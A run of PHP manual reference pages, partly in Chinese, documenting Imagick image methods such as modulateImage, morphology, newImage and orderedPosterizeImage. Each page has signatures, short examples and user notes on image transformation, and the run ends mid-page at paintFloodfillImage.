  • Imagick::flattenImages() - Merges a sequence of images

User Contributed Notes

There are no user contributed notes for this page.


Scales an image proportionally to half its size

  • ? Imagick::mergeImageLayers
  • Imagick::modulateImage ?
  • PHP Manual
  • Imagick
  • Scales an image proportionally to half its size

Imagick::minifyImage

(PECL imagick 2, PECL imagick 3)

Imagick::minifyImage — Scales an image proportionally to half its size

说明

public Imagick::minifyImage(): bool

Is a convenience method that scales an image proportionally to one-half its original size

参数

此函数没有参数。

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Control the brightness, saturation, and hue

  • ? Imagick::minifyImage
  • Imagick::montageImage ?
  • PHP Manual
  • Imagick
  • Control the brightness, saturation, and hue

Imagick::modulateImage

(PECL imagick 2, PECL imagick 3)

Imagick::modulateImage — Control the brightness, saturation, and hue

说明

public Imagick::modulateImage(float $brightness, float $saturation, float $hue): bool

Lets you control the brightness, saturation, and hue of an image. Hue is the percentage of absolute rotation from the current position. For example 50 results in a counter-clockwise rotation of 90 degrees, 150 results in a clockwise rotation of 90 degrees, with 0 and 200 both resulting in a rotation of 180 degrees.

参数

brightness

saturation

hue

返回值

成功时返回 true。

示例

Example #1 Imagick::modulateImage()

<?php
function modulateImage($imagePath, $hue, $brightness, $saturation) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->modulateImage($brightness, $saturation, $hue);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Anonymous 30-Nov-2008 03:36
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  // leave hue at 100%, drop saturation by 100%, leave brightness at 100%
  $img->modulateImage(100, 0, 100);
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>


Creates a composite image

  • ? Imagick::modulateImage
  • Imagick::morphImages ?
  • PHP Manual
  • Imagick
  • Creates a composite image

Imagick::montageImage

(PECL imagick 2, PECL imagick 3)

Imagick::montageImage — Creates a composite image

说明

public Imagick::montageImage(
ImagickDraw $draw,
string $tile_geometry,
string $thumbnail_geometry,
int $mode,
string $frame
): Imagick

Creates a composite image by combining several separate images. The images are tiled on the composite image with the name of the image optionally appearing just below the individual tile.

参数

draw

The font name, size, and color are obtained from this object.

tile_geometry

The number of tiles per row and page (e.g. 6x4+0+0).

thumbnail_geometry

Preferred image size and border size of each thumbnail (e.g. 120x120+4+3).

mode

Thumbnail framing mode, see Montage Mode constants.

frame

Surround the image with an ornamental border (e.g. 15x15+3+3). The frame color is that of the thumbnail's matte color.

返回值

Creates a composite image and returns it as a new Imagick object.

User Contributed Notes

There are no user contributed notes for this page.


Method morphs a set of images

  • ? Imagick::montageImage
  • Imagick::morphology ?
  • PHP Manual
  • Imagick
  • Method morphs a set of images

Imagick::morphImages

(PECL imagick 2, PECL imagick 3)

Imagick::morphImages — Method morphs a set of images

说明

public Imagick::morphImages(int $number_frames): Imagick

Method morphs a set of images. Both the image pixels and size are linearly interpolated to give the appearance of a meta-morphosis from one image to the next.

参数

number_frames

The number of in-between images to generate.

返回值

This method returns a new Imagick object on success. 错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Applies a user supplied kernel to the image according to the given morphology method.

  • ? Imagick::morphImages
  • Imagick::mosaicImages ?
  • PHP Manual
  • Imagick
  • Applies a user supplied kernel to the image according to the given morphology method.

Imagick::morphology

(PECL imagick 3 >= 3.3.0)

Imagick::morphology — Applies a user supplied kernel to the image according to the given morphology method.

说明

public Imagick::morphology(
int $morphologyMethod,
int $iterations,
ImagickKernel $ImagickKernel,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Applies a user supplied kernel to the image according to the given morphology method.

参数

morphologyMethod

Which morphology method to use one of the \Imagick::MORPHOLOGY_* constants.

iterations

The number of iteration to apply the morphology function. A value of -1 means loop until no change found. How this is applied may depend on the morphology method. Typically this is a value of 1.

ImagickKernel

channel

返回值

成功时返回 true。

示例

Example #1 Convolve Imagick::morphology()

<?php
$imagick = $this->getCharacter();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_GAUSSIAN, "5,1");
$imagick->morphology(\Imagick::MORPHOLOGY_CONVOLVE, 2, $kernel);
header("Content-Type: image/png");
echo $imagick->getImageBlob();

?>

Example #2 Correlate Imagick::morphology()

<?php

// Top-left pixel must be black
// Bottom right pixel must be white
// We don't care about the rest.

$imagick = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromMatrix(self::$correlateMatrix, [2, 2]);
$imagick->morphology(\Imagick::MORPHOLOGY_CORRELATE, 1, $kernel);
header("Content-Type: image/png");
echo $imagick->getImageBlob();

?>

Example #3 Erode Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
$canvas->morphology(\Imagick::MORPHOLOGY_ERODE, 2, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #4 Erode Intensity Imagick::morphology()

<?php
$canvas = $this->getCharacter();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "1");
$canvas->morphology(\Imagick::MORPHOLOGY_ERODE_INTENSITY, 2, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #5 Dilate Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
$canvas->morphology(\Imagick::MORPHOLOGY_DILATE, 4, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #6 Dilate intensity Imagick::morphology()

<?php
$canvas = $this->getCharacter();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "1");
$canvas->morphology(\Imagick::MORPHOLOGY_DILATE_INTENSITY, 4, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #7 Distance with Chebyshev kernel Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_CHEBYSHEV, "3");
$canvas->morphology(\Imagick::MORPHOLOGY_DISTANCE, 3, $kernel);
$canvas->autoLevelImage();
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #8 Distance with Manhattan kernel Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_MANHATTAN, "5");
$canvas->morphology(\Imagick::MORPHOLOGY_DISTANCE, 3, $kernel);
$canvas->autoLevelImage();
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #9 Distance with ocatagonal kernel Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGONAL, "5");
$canvas->morphology(\Imagick::MORPHOLOGY_DISTANCE, 3, $kernel);
$canvas->autoLevelImage();
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #10 Distance with Euclidean kernel Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_EUCLIDEAN, "4");
$canvas->morphology(\Imagick::MORPHOLOGY_DISTANCE, 3, $kernel);
$canvas->autoLevelImage();
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #11 Edge Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
$canvas->morphology(\Imagick::MORPHOLOGY_EDGE, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #12 Open Imagick::morphology()

<?php
// As a result you will see that 'Open' smoothed the outline, by rounding off any sharp points, and remove any parts that is smaller than the shape used. It will also disconnect or 'open' any thin bridges.
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "6");
$canvas->morphology(\Imagick::MORPHOLOGY_OPEN, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #13 Open intensity Imagick::morphology()

<?php
// As a result you will see that 'Open' smoothed the outline, by rounding off any sharp points, and remove any parts that is smaller than the shape used. It will also disconnect or 'open' any thin bridges.

$canvas = $this->getCharacter();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "6");
$canvas->morphology(\Imagick::MORPHOLOGY_OPEN_INTENSITY, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #14 Close Imagick::morphology()

<?php
//The basic use of the 'Close' method is to reduce or remove any 'holes' or 'gaps' about the size of the kernel 'Structure Element'. That is 'close' parts of the background that are about that size.
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "6");
$canvas->morphology(\Imagick::MORPHOLOGY_CLOSE, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #15 Close Intensity Imagick::morphology()

<?php
//The basic use of the 'Close' method is to reduce or remove any 'holes' or 'gaps' about the size of the kernel 'Structure Element'. That is 'close' parts of the background that are about that size.
$canvas = $this->getCharacter();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "6");
$canvas->morphology(\Imagick::MORPHOLOGY_CLOSE_INTENSITY, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #16 Smooth Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
$canvas->morphology(\Imagick::MORPHOLOGY_SMOOTH, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #17 Edge in Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
$canvas->morphology(\Imagick::MORPHOLOGY_EDGE_IN, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #18 Edge out Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
$canvas->morphology(\Imagick::MORPHOLOGY_EDGE_OUT, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #19 The 'TopHat' method, or more specifically 'White Top Hat', returns the pixels that were removed by a Opening of the shape, that is the pixels that were removed to round off the points, and the connecting bridged between shapes. Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "5");
$canvas->morphology(\Imagick::MORPHOLOGY_TOP_HAT, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #20 The 'BottomHat' method, also known as 'Black TopHat' is the pixels that a Closing of the shape adds to the image. That is the pixels that were used to fill in the 'holes', 'gaps', and 'bridges'. Imagick::morphology()

<?php

$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "5");
$canvas->morphology(\Imagick::MORPHOLOGY_BOTTOM_HAT, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #21 Hit and Miss Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
//This finds all the pixels with 3 pixels of the right edge
$matrix = [[1, false, false, 0]];
$kernel = \ImagickKernel::fromMatrix(
$matrix,
[0, 0]
);
$canvas->morphology(\Imagick::MORPHOLOGY_HIT_AND_MISS, 1, $kernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #22 Thinning Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$leftEdgeKernel = \ImagickKernel::fromMatrix([[0, 1]], [1, 0]);
$rightEdgeKernel = \ImagickKernel::fromMatrix([[1, 0]], [0, 0]);
$leftEdgeKernel->addKernel($rightEdgeKernel);

$canvas->morphology(\Imagick::MORPHOLOGY_THINNING, 3, $leftEdgeKernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #23 Thicken Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$leftEdgeKernel = \ImagickKernel::fromMatrix([[0, 1]], [1, 0]);
$rightEdgeKernel = \ImagickKernel::fromMatrix([[1, 0]], [0, 0]);
$leftEdgeKernel->addKernel($rightEdgeKernel);

$canvas->morphology(\Imagick::MORPHOLOGY_THICKEN, 3, $leftEdgeKernel);
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #24 Thick to generate a convex hull Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$diamondKernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DIAMOND, "1");
$convexKernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_CONVEX_HULL, "");

// The thicken morphology doesn't handle small gaps. We close them
// with the close morphology.
$canvas->morphology(\Imagick::MORPHOLOGY_CLOSE, 1, $diamondKernel);
$canvas->morphology(\Imagick::MORPHOLOGY_THICKEN, -1, $convexKernel);
$canvas->morphology(\Imagick::MORPHOLOGY_CLOSE, 1, $diamondKernel);

header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #25 Iterative morphology Imagick::morphology()

<?php
$canvas = $this->getCharacterOutline();
$kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "2");
$canvas->morphology(\Imagick::MORPHOLOGY_ITERATIVE, 3, $kernel);
$canvas->autoLevelImage();
header("Content-Type: image/png");
echo $canvas->getImageBlob();

?>

Example #26 Helper function to get an image silhouette Imagick::morphology()

<?php
function getCharacterOutline() {
$imagick = new \Imagick(realpath("./images/character.png"));
$character = new \Imagick();
$character->newPseudoImage(
$imagick->getImageWidth(),
$imagick->getImageHeight(),
"canvas:white"
);
$canvas = new \Imagick();
$canvas->newPseudoImage(
$imagick->getImageWidth(),
$imagick->getImageHeight(),
"canvas:black"
);

$character->compositeimage(
$imagick,
\Imagick::COMPOSITE_COPYOPACITY,
0, 0
);
$canvas->compositeimage(
$character,
\Imagick::COMPOSITE_ATOP,
0, 0
);
$canvas->setFormat('png');

return $canvas;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Forms a mosaic from images

  • ? Imagick::morphology
  • Imagick::motionBlurImage ?
  • PHP Manual
  • Imagick
  • Forms a mosaic from images

Imagick::mosaicImages

(PECL imagick 2, PECL imagick 3)

Imagick::mosaicImages — Forms a mosaic from images

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::mosaicImages(): Imagick

Inlays an image sequence to form a single coherent picture. It returns a wand with each image in the sequence composited at the location defined by the page offset of the image.

参数

此函数没有参数。

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Simulates motion blur

  • ? Imagick::mosaicImages
  • Imagick::negateImage ?
  • PHP Manual
  • Imagick
  • Simulates motion blur

Imagick::motionBlurImage

(PECL imagick 2, PECL imagick 3)

Imagick::motionBlurImage — Simulates motion blur

说明

public Imagick::motionBlurImage(
float $radius,
float $sigma,
float $angle,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Simulates motion blur. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and MotionBlurImage() selects a suitable radius for you. Angle gives the angle of the blurring motion.

参数

radius

The radius of the Gaussian, in pixels, not counting the center pixel.

sigma

The standard deviation of the Gaussian, in pixels.

angle

Apply the effect along this angle.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants. The channel argument affects only if Imagick is compiled against ImageMagick version 6.4.4 or greater.

返回值

成功时返回 true。

示例

Example #1 Imagick::motionBlurImage()

<?php
function motionBlurImage($imagePath, $radius, $sigma, $angle, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->motionBlurImage($radius, $sigma, $angle, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Negates the colors in the reference image

  • ? Imagick::motionBlurImage
  • Imagick::newImage ?
  • PHP Manual
  • Imagick
  • Negates the colors in the reference image

Imagick::negateImage

(PECL imagick 2, PECL imagick 3)

Imagick::negateImage — Negates the colors in the reference image

说明

public Imagick::negateImage(bool $gray, int $channel = Imagick::CHANNEL_DEFAULT): bool

Negates the colors in the reference image. The Grayscale option means that only grayscale values within the image are negated.

参数

gray

Whether to only negate grayscale pixels within the image.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::negateImage()

<?php
function negateImage($imagePath, $grayOnly, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->negateImage($grayOnly, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


创建一张图片

  • ? Imagick::negateImage
  • Imagick::newPseudoImage ?
  • PHP Manual
  • Imagick
  • 创建一张图片

Imagick::newImage

(PECL imagick 2, PECL imagick 3)

Imagick::newImage — 创建一张图片

说明

public Imagick::newImage(
int $cols,
int $rows,
mixed $background,
string $format = ?
): bool

创建一个 Imagick 图片对象，同时可以附带设置一个 ImagickPixel 值作为其背景色。

参数

cols

新建图片对象列的值（宽多少像素）

rows

新建图片对象行的值（高多少像素）

background

新建图片独享的背景色

format

图片格式。这个参数是在 Imagick 2.0.1 版本添加的。

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

更新日志

版本 | 说明
PECL imagick 2.1.0 | 现在可以似乎用了一个字符串作为颜色传入第三个参数。在此之前的版本只允许以一个 ImagickPixel 对象的形式传入。

示例

Example #1 Using Imagick::newImage():

Create a new image and display it.

<?php

$image = new Imagick();
$image->newImage(100, 100, new ImagickPixel('red'));
$image->setImageFormat('png');

header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

Eduard Sukharev 18-Aug-2016 04:39
It's not obvious and may be related only to some specific versions of ImageMagick (tested only for 6.7.7 and 6.8.9), but $cols and $rows must be a positive non-zero value.

<?php

$image = new Imagick();
$image->newImage(0, 100, new ImagickPixel('red'));
$image->setImageFormat('png');

file_put_contents('image.png', $image);
?>

In this case imagemagick will crash without throwing any exception and you'll get something along the lines (in your apache error log or console output):

    unable to acquire cache view `No such file or directory' @ fatal/cache-view.c/AcquireAuthenticCacheView/121.

This might be the case when you calculate $cols and $rows (say, based on user input and predefined target image DPI):

<?php

$image = new Imagick();
$img->newImage($userInput->getWidth() * $defaultPpi, $userInput->getHeight() * $defaultPpi, new ImagickPixel('white'));
?>

In this case if user requested image with 0.006 width (in inches), the code would work for $defaultPpi = 300 ppi, but would crash for
$defaultPpi = 72 ppi
jfalner1 at gmail dot com 07-Apr-2015 06:17
As it isn't obvious, the cols and rows arguments correspond to the width and height of the new image, expressed in pixels.  Example #1 would generate a 100 pixel by 100 pixel image.
christian dot reinecke at web dot de 23-Jun-2009 04:35
The color value (3rd argument) for transparency is "none".


Creates a new image

  • ? Imagick::newImage
  • Imagick::nextImage ?
  • PHP Manual
  • Imagick
  • Creates a new image

Imagick::newPseudoImage

(PECL imagick 2, PECL imagick 3)

Imagick::newPseudoImage — Creates a new image

说明

public Imagick::newPseudoImage(int $columns, int $rows, string $pseudoString): bool

Creates a new image using ImageMagick pseudo-formats.

参数

columns

columns in the new image

rows

rows in the new image

pseudoString

string containing pseudo image definition.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::newPseudoImage()

<?php
function newPseudoImage($canvasType) {
$imagick = new \Imagick();
$imagick->newPseudoImage(300, 300, $canvasType);
$imagick->setImageFormat("png");
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

//newPseudoImage('gradient:red-rgba(64, 255, 255, 0.5)');
//newPseudoImage("radial-gradient:red-blue");
newPseudoImage("plasma:fractal");

?>

User Contributed Notes

Pekka Jrvinen 22-Jul-2010 06:47
See http://www.imagemagick.org/script/formats.php for pseudoString parameter


Moves to the next image

  • ? Imagick::newPseudoImage
  • Imagick::normalizeImage ?
  • PHP Manual
  • Imagick
  • Moves to the next image

Imagick::nextImage

(PECL imagick 2, PECL imagick 3)

Imagick::nextImage — Moves to the next image

说明

public Imagick::nextImage(): bool

Associates the next image in the image list with an Imagick object.

参数

此函数没有参数。

返回值

成功时返回 true。

User Contributed Notes

simonjjarrett at gmail dot com 24-Mar-2020 01:02
The following function applies a callback to each image in an Imagick object.

<?php
function imagickMap($callback, $im)
{
    $im->setFirstIterator();

    do
    {
        $callback($im);
    }
    while ( $im->nextImage() );
}
?>

E.g. to convert a series of images to grayscale:

<?php
imagickMap(
    function($im)
    {
        $im->setImageType(Imagick::IMGTYPE_GRAYSCALEMATTE);
    },
    $im
);
?>
markus dot s dot schmitz at gmail dot com 11-Dec-2012 10:46
Convert PDF to JPG page-wise:

<?php
$i = 0;

$imagick = new Imagick();
$imagick->readImage('myfile.pdf');
while($imagick->hasNextImage()) {
    $imagick->writeImage(++$i.'-converted.jpg', false);
    $imagick->nextImage();
}
?>

See also: http://php.net/manual/en/imagick.readimage.php


Enhances the contrast of a color image

  • ? Imagick::nextImage
  • Imagick::oilPaintImage ?
  • PHP Manual
  • Imagick
  • Enhances the contrast of a color image

Imagick::normalizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::normalizeImage — Enhances the contrast of a color image

说明

public Imagick::normalizeImage(int $channel = Imagick::CHANNEL_DEFAULT): bool

Enhances the contrast of a color image by adjusting the pixels color to span the entire range of colors available.

参数

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

成功时返回 true。

示例

Example #1 Imagick::normalizeImage()

<?php
function normalizeImage($imagePath, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$original = clone $imagick;
$original->cropimage($original->getImageWidth() / 2, $original->getImageHeight(), 0, 0);
$imagick->normalizeImage($channel);
$imagick->compositeimage($original, \Imagick::COMPOSITE_ATOP, 0, 0);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Simulates an oil painting

  • ? Imagick::normalizeImage
  • Imagick::opaquePaintImage ?
  • PHP Manual
  • Imagick
  • Simulates an oil painting

Imagick::oilPaintImage

(PECL imagick 2, PECL imagick 3)

Imagick::oilPaintImage — Simulates an oil painting

说明

public Imagick::oilPaintImage(float $radius): bool

Applies a special effect filter that simulates an oil painting. Each pixel is replaced by the most frequent color occurring in a circular region defined by radius.

参数

radius

The radius of the circular neighborhood.

返回值

成功时返回 true。

示例

Example #1 Imagick::oilPaintImage()

<?php
function oilPaintImage($imagePath, $radius) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->oilPaintImage($radius);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Changes the color value of any pixel that matches target

  • ? Imagick::oilPaintImage
  • Imagick::optimizeImageLayers ?
  • PHP Manual
  • Imagick
  • Changes the color value of any pixel that matches target

Imagick::opaquePaintImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::opaquePaintImage — Changes the color value of any pixel that matches target

说明

public Imagick::opaquePaintImage(
mixed $target,
mixed $fill,
float $fuzz,
bool $invert,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Changes any pixel that matches color with the color defined by fill. 此方法在Imagick基于ImageMagick 6.3.8以上版本编译时可用。

参数

target

ImagickPixel object or a string containing the color to change

fill

The replacement color

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color.

invert

If true paints any pixel that does not match the target color.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Removes repeated portions of images to optimize

  • ? Imagick::opaquePaintImage
  • Imagick::orderedPosterizeImage ?
  • PHP Manual
  • Imagick
  • Removes repeated portions of images to optimize

Imagick::optimizeImageLayers

(PECL imagick 2, PECL imagick 3)

Imagick::optimizeImageLayers — Removes repeated portions of images to optimize

说明

public Imagick::optimizeImageLayers(): bool

Compares each image the GIF disposed forms of the previous image in the sequence. From this it attempts to select the smallest cropped image to replace each frame, while preserving the results of the animation. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

此函数没有参数。

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Using Imagick::optimizeImageLayers()

Reading, optimizing and writing a GIF image

<?php
/* create new imagick object */
$im = new Imagick("test.gif");

/* optimize the image layers */
$im->optimizeImageLayers();

/* write the image back */
$im->writeImages("test_optimized.gif", true);
?>

参见

  • Imagick::compareImageLayers() - Returns the maximum bounding region between images
  • Imagick::writeImages() - Writes an image or image sequence
  • Imagick::writeImage() - 把图片写入指定的文件

User Contributed Notes

f21 dot groups at gmail dot com 16-Jun-2013 02:37
In imagick 3.x (have not checked 2.x), this returns an imagemagick object and not a boolean.

<?php

$image = new Imagick('myanimation.gif');

$image = $image->optimizeImageLayers(); //Does not return a boolean!

$image->writeImage('optimized.gif');


Performs an ordered dither

  • ? Imagick::optimizeImageLayers
  • Imagick::paintFloodfillImage ?
  • PHP Manual
  • Imagick
  • Performs an ordered dither

Imagick::orderedPosterizeImage

(PECL imagick 2 >= 2.2.2, PECL imagick 3)

Imagick::orderedPosterizeImage — Performs an ordered dither

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::orderedPosterizeImage(string $threshold_map, int $channel = Imagick::CHANNEL_DEFAULT): bool

Performs an ordered dither based on a number of pre-defined dithering threshold maps, but over multiple intensity levels, which can be different for different channels, according to the input arguments. 此方法在Imagick基于ImageMagick 6.3.1以上版本编译时可用。

参数

threshold_map

A string containing the name of the threshold dither map to use

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::orderedPosterizeImage()

<?php
function orderedPosterizeImage($imagePath, $orderedPosterizeType) {
$imagick = new \Imagick(realpath($imagePath));

$imagick->orderedPosterizeImage($orderedPosterizeType);
$imagick->setImageFormat('png');

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

//orderedPosterizeImage($imagePath, 'o4x4,3,3');
//orderedPosterizeImage($imagePath, 'o8x8,6,6');
orderedPosterizeImage($imagePath, 'h8x8a');

?>

User Contributed Notes

holdoffhunger at gmail dot com 24-Apr-2012 12:39
Originally, I thought this function would be similar to the Posterize function, or at least, any one of the Imagick class functions that produces an artistic effect (like the oilPaintImage function).  This function can be used for those purposes, but it is mostly geared toward print production.  The OrderedPosterize is simply a highly flexible dithering tool.  The intention essentially is to produce high-resolution imagery by means of using constant dots across a medium that vary in size according to the detail of the imagery.  Everyone has seen a dithered photograph inside of a newspaper, but the wiki page provides better examples: http://en.wikipedia.org/wiki/Dither .

The two parameters are unusual to someone who simply wants to get the use of this function without fussing too much about the Imagick class.

First parameter: The threshold_map is a set of "brushes" predefined by a very simple xml file.  They are: threshold, checks, o2x2, o3x3, o4x4, o8x8, h4x4a, h6x6a, h8x8a, h4x4o, h6x6o, h8x8o, h16x16o, c5x5b, c5x5w, c6x6b, c6x6w, c7x7b, and c7x7w.  These are the values you are expected to input as parameters for the Thershold_Map value.  Much better descriptions of these brush shapes available at the Imagick site: http://www.imagemagick.org/Usage/quantize/tmaps_list.txt .

Second parameter: The channel is any of the constants as predefined by the Imagick class.  In the code, the value looks like "imagick::CHANNEL_RED", but you have the "_value" options of: red, undefined, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.  More info here: http://www.php.net/manual/en/imagick.constants.php#imagick.constants.channel .

Finally, don't forget you can use bitwise operators on the second parameter.  That means you can use & to AND them, | to OR them, & to XOR them, and ~ to NEGATE them.  A valid parameter for the second parameter would be: "((~imagick::CHANNEL_GREEN) ^ imagick::CHANNEL_YELLOW) | imagick::CHANNEL_MAGENTA)".  You can get extremely creative in this particular parameter.  And if you want to define your own brushes using simple XML, then that's also true of the first parameter, too.

Note:  You can use this function artistically.  How?  Use the orderedPosterizeImage to give the image some texture (a photo of a vase, for instance), and then use your OilPoint, Sketch, or Standard Posterize to give the image a cool effect.  Alone, though, seems pretty boring.

And now, a very simple demonstration :

<?php

            // Author: holdoffhunger@gmail.com

        // Filename
        // ---------------------------------------------

    $file_to_grab_with_location = "graphics_engine/image_workshop_directory/ordered_posterize_source.bmp"

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Perform Function
        // ---------------------------------------------

    $imagick_type->orderedPosterizeImage("o2x2", imagick::CHANNEL_GREEN);

        // Save File
        // ---------------------------------------------

    $file_to_save_with_location = "graphics_engine/image_workshop_directory/ordered_posterize_result.bmp"

    $file_handle_for_saving_image_file = fopen($file_to_save_with_location, 'a+');

    $imagick_type->writeImageFile($file_handle_for_saving_image_file);

?>


Changes the color value of any pixel that matches target

  • ? Imagick::orderedPosterizeImage
  • Imagick::paintOpaqueImage ?
  • PHP Manual
  • Imagick
  • Changes the color value of any pixel that matches target

Imagick::paintFloodfillImage

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::paintFloodfillImage — Changes the color value of any pixel that matches target

Warning

